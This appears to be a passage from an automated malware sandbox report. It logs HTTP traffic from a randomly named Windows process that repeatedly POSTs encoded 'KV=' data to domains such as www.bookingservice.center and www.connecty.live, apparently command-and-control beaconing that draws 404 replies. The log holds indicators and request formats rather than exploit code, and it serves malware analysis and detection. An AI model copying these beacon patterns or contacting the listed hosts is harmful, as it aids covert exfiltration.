74 31 57 54 47 47 74 77 66 68 30 38 4d 53 54 6b 6c 6e 4d 72 6f 41 64 30 48 48 2b 68 77 4e 4a 2f 6f 72 53 74 42 77 4c 49 65 44 31 74 6d 50 4b 32 66 50 6f 44 5a 2b 69 63 73 63 50 54 70 76 6d 35 59 44 5a 59 49 56 48 58 45 55 75 4e 79 2f 44 48 49 72 6c 6a 72 39 6f 45 2f 66 78 42 42 68 48 38 3d Data Ascii: KV=DUyrAt166+NdG3CUUZi+BI6HEkExioJAqXcpj4TeFh6FswD5txrTDAp2YksSKG7BjxOt7jwJ1ARaXWHRIJIWiteJilYjgarvZJZcEDAdFha8eYbpMhkc7K6t1WTGGtwfh08MSTklnMroAd0HH+hwNJ/orStBwLIeD1tmPK2fPoDZ+icscPTpvm5YDZYIVHXEUuNy/DHIrljr9oE/fxBBhH8=
Nov 20, 2024 16:55:32.286128044 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Wed, 20 Nov 2024 15:55:32 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 20, 2024 16:55:32.286179066 CET	218	IN	Data Raw: 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e Data Ascii: <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49995	98.124.224.17	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:33.790893078 CET	1834	OUT	POST /4bee/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.bookingservice.center Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bookingservice.center Referer: http://www.bookingservice.center/4bee/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 44 55 79 72 41 74 31 36 36 2b 4e 64 47 33 43 55 55 5a 69 2b 42 49 36 48 45 6b 45 78 69 6f 4a 41 71 58 63 70 6a 34 54 65 46 68 79 46 73 43 37 35 73 53 54 54 41 41 70 32 62 6b 73 54 4b 47 37 6d 6a 78 57 70 37 6a 39 2b 31 44 70 61 46 67 54 52 41 59 49 57 35 39 65 4a 75 46 59 6d 39 4b 72 32 5a 4e 31 59 45 44 77 64 46 68 61 38 65 64 58 70 46 56 49 63 30 71 36 75 32 57 54 61 43 74 78 36 68 33 4d 32 53 53 52 48 6e 59 66 6f 41 39 45 48 46 4d 5a 77 42 4a 2f 71 6f 53 74 76 77 4c 46 41 44 31 77 5a 50 4c 53 31 50 6f 4c 5a 38 6d 35 78 49 64 50 64 38 32 4a 59 42 49 6f 79 63 31 58 67 56 74 4a 58 79 67 7a 75 70 79 48 74 78 34 4e 71 61 6b 4a 51 67 53 30 66 43 6d 74 4a 4e 6f 47 66 53 36 61 66 7a 7a 6e 4b 58 4a 53 35 6d 41 4a 49 43 4a 38 75 32 37 75 62 69 75 2b 42 6b 70 37 4b 35 34 45 54 64 63 6a 57 6f 4d 71 6c 2b 2f 4b 32 6c 44 42 76 6a 46 75 69 47 54 53 6f 6d 69 34 49 6b 33 36 34 42 61 61 4a 77 39 42 4f 62 56 66 39 4a 38 2b 49 41 75 55 64 77 4c 79 54 48 57 51 52 48 4f 66 53 6d 62 46 77 4a 6a 79 51 65 69 70 [TRUNCATED] Data Ascii: KV=DUyrAt166+NdG3CUUZi+BI6HEkExioJAqXcpj4TeFhyFsC75sSTTAAp2bksTKG7mjxWp7j9+1DpaFgTRAYIW59eJuFYm9Kr2ZN1YEDwdFha8edXpFVIc0q6u2WTaCtx6h3M2SSRHnYfoA9EHFMZwBJ/qoStvwLFAD1wZPLS1PoLZ8m5xIdPd82JYBIoyc1XgVtJXygzupyHtx4NqakJQgS0fCmtJNoGfS6afzznKXJS5mAJICJ8u27ubiu+Bkp7K54ETdcjWoMql+/K2lDBvjFuiGTSomi4Ik364BaaJw9BObVf9J8+IAuUdwLyTHWQRHOfSmbFwJjyQeipcfTl7qBhLdzVk/p8wMjkX2PHqzLJsZHOWEBLcHOezSw+yZGPbl9KOQgLFThPmOV871R/0Kz8wz2Nie8lUCEwnTMMLRex/9lE63oHwhn9nTI6UYoy+Aq4dHsk/nF5GaznHZGrekKSPa2EVuA6WtF4eK0Pyk0VKgVm/VA0Ktkja0ZbQrG55X2uOvgrPo/9Mx5rBDgDlxkyA0zZ29L318qvTU9ywUEC8jUCSbbb2BZK9GbLfi6pCC+OtSICN/tyX2+pse0l1q0R1DNmPk3E+mrIp0Xat70D71x/anl1SKHuySn5O/VxanWr9wEaojhwuBmk3kkNdpAlWlTJjfzFINFzyX4FQ9gRvQwqrXB2d6M4G9ppBjRvcWFtfBUIIM+QugEDPeSSnnALeUR07ZJIHS5anWVRf/36zl/N+7SKt0Uo8dOCJVpfbW2ZyNDxoTlkT8yuhKr2oEu3e1QEk6J8PIMGNY3KpBMNXTWFzoJo2rN7Qx7ILuFezKzoDPLavLSAuT4xmIuIZuQ5+LMbCRFJiQ2vmBQu9Kf0PjRAJgZyprw1aHxko/qCiNSvcL0JJHWT03exNwmH7Q7nhOXbNdjQfL8dw7E3DV8evOBFPda7IiQNCIdmQ/W6nmsQh1ujBwvQ5L1q7ht7bpUnKxtOFOkq1Rx8ug/D82rVKt7g42 [TRUNCATED]
Nov 20, 2024 16:55:34.993669987 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Wed, 20 Nov 2024 15:55:34 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 20, 2024 16:55:34.993690968 CET	218	IN	Data Raw: 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e Data Ascii: <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49996	98.124.224.17	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:36.450654030 CET	513	OUT	GET /4bee/?KV=OWaLDb1Jm9p4bkDVec29BoDmBVET5eJeilgKnYToBBeYyiPSqC7oM1F3UnEyEVbrshSo8g4GkysDEHe9VbsXh/SWnXsZyYCMcK4IBi4/IwS5Oa2XQ2sC/aw=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.bookingservice.center Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:55:37.658292055 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Wed, 20 Nov 2024 15:55:36 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 20, 2024 16:55:37.658318996 CET	218	IN	Data Raw: 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e Data Ascii: <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49997	203.161.43.228	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:43.373070955 CET	777	OUT	POST /q6ws/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.connecty.live Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.connecty.live Referer: http://www.connecty.live/q6ws/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 37 54 71 35 63 4d 4f 55 4f 73 44 79 68 6f 7a 37 50 31 4f 54 2f 31 79 79 5a 4b 41 47 36 6f 5a 77 2f 57 6c 5a 48 6b 57 76 4a 63 59 56 63 79 6d 53 49 42 42 62 4d 6d 2f 70 39 34 78 78 4c 48 57 56 62 6d 54 58 6d 6e 2f 32 6d 46 54 50 64 6f 45 79 6d 78 78 58 46 30 65 46 4a 48 6d 78 4c 69 37 35 2f 48 32 6b 52 79 7a 46 36 2f 35 41 47 46 73 4a 6a 70 37 2b 35 6d 2b 68 33 42 37 6c 73 37 6b 6a 57 35 4a 59 63 30 34 49 4a 38 41 62 39 73 46 33 4c 76 6d 45 69 53 78 55 53 74 4f 74 56 4f 62 63 58 4a 66 37 5a 31 42 46 7a 32 4b 46 49 30 68 74 78 50 6f 68 35 50 30 34 77 63 34 55 59 2b 61 57 37 67 3d 3d Data Ascii: KV=7Tq5cMOUOsDyhoz7P1OT/1yyZKAG6oZw/WlZHkWvJcYVcymSIBBbMm/p94xxLHWVbmTXmn/2mFTPdoEymxxXF0eFJHmxLi75/H2kRyzF6/5AGFsJjp7+5m+h3B7ls7kjW5JYc04IJ8Ab9sF3LvmEiSxUStOtVObcXJf7Z1BFz2KFI0htxPoh5P04wc4UY+aW7g==
Nov 20, 2024 16:55:44.638000011 CET	658	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:55:44 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49998	203.161.43.228	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:46.038263083 CET	797	OUT	POST /q6ws/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.connecty.live Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.connecty.live Referer: http://www.connecty.live/q6ws/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 37 54 71 35 63 4d 4f 55 4f 73 44 79 75 70 44 37 4d 53 36 54 35 56 79 7a 57 71 41 47 77 49 5a 30 2f 57 5a 5a 48 6c 53 42 4a 4f 38 56 63 54 57 53 4f 77 42 62 50 6d 2f 70 33 59 78 30 50 48 57 65 62 6d 65 6b 6d 6c 72 32 6d 46 58 50 64 70 30 79 6d 41 78 55 45 6b 65 48 41 6e 6d 7a 46 43 37 35 2f 48 32 6b 52 79 33 6a 36 2f 78 41 48 78 6f 4a 68 49 37 35 36 6d 2b 6d 6e 52 37 6c 6f 37 6b 6e 57 35 4a 41 63 78 45 6d 4a 2f 34 62 39 6f 4a 33 4c 62 79 62 73 53 78 53 63 4e 50 73 62 2b 62 55 59 4f 43 6b 65 54 4a 72 30 57 54 6b 4a 79 73 33 68 73 68 32 36 63 38 36 6b 36 5a 6b 52 50 2f 66 67 6d 39 4b 66 7a 68 64 50 70 6f 74 6d 64 73 30 52 6a 50 4a 55 46 41 3d Data Ascii: KV=7Tq5cMOUOsDyupD7MS6T5VyzWqAGwIZ0/WZZHlSBJO8VcTWSOwBbPm/p3Yx0PHWebmekmlr2mFXPdp0ymAxUEkeHAnmzFC75/H2kRy3j6/xAHxoJhI756m+mnR7lo7knW5JAcxEmJ/4b9oJ3LbybsSxScNPsb+bUYOCkeTJr0WTkJys3hsh26c86k6ZkRP/fgm9KfzhdPpotmds0RjPJUFA=
Nov 20, 2024 16:55:47.294482946 CET	658	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 15:55:47 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	49999	203.161.43.228	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:55:48.708125114 CET	1810	OUT	POST /q6ws/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.connecty.live Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.connecty.live Referer: http://www.connecty.live/q6ws/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 37 54 71 35 63 4d 4f 55 4f 73 44 79 75 70 44 37 4d 53 36 54 35 56 79 7a 57 71 41 47 77 49 5a 30 2f 57 5a 5a 48 6c 53 42 4a 4f 30 56 63 68 75 53 49 6a 5a 62 4f 6d 2f 70 30 59 78 31 50 48 57 50 62 6d 32 6f 6d 6c 57 44 6d 48 66 50 50 65 63 79 33 69 5a 55 4b 55 65 48 43 6e 6d 32 4c 69 37 73 2f 48 47 34 52 79 6e 6a 36 2f 78 41 48 77 59 4a 33 4a 37 35 32 47 2b 68 33 42 37 78 73 37 6b 50 57 35 68 36 63 77 77 59 4b 4f 59 62 39 49 5a 33 51 4f 6d 62 6b 53 78 51 52 74 4f 2f 62 2b 57 4b 59 4b 69 6f 65 54 56 46 30 55 44 6b 4b 7a 52 78 34 2f 42 5a 68 4e 67 54 32 72 35 6a 53 4b 48 59 6f 30 6c 4b 63 68 63 75 63 63 6b 2b 37 6f 52 64 4a 6d 54 34 51 43 44 6d 41 57 7a 79 75 48 6e 43 68 50 42 4a 73 51 5a 49 2b 79 34 7a 7a 72 69 67 53 35 36 35 46 6a 32 4f 72 62 4b 6e 59 68 43 51 79 35 6a 42 36 78 55 33 75 79 56 45 46 31 44 59 53 33 5a 6a 44 6e 53 74 74 38 4c 63 47 30 54 65 37 43 36 36 36 32 39 52 53 62 36 75 56 74 4f 75 4d 48 47 41 59 5a 61 6f 6b 42 63 38 31 6e 6b 59 4d 32 31 49 34 47 34 34 79 6e 63 55 42 66 2f [TRUNCATED] Data Ascii: 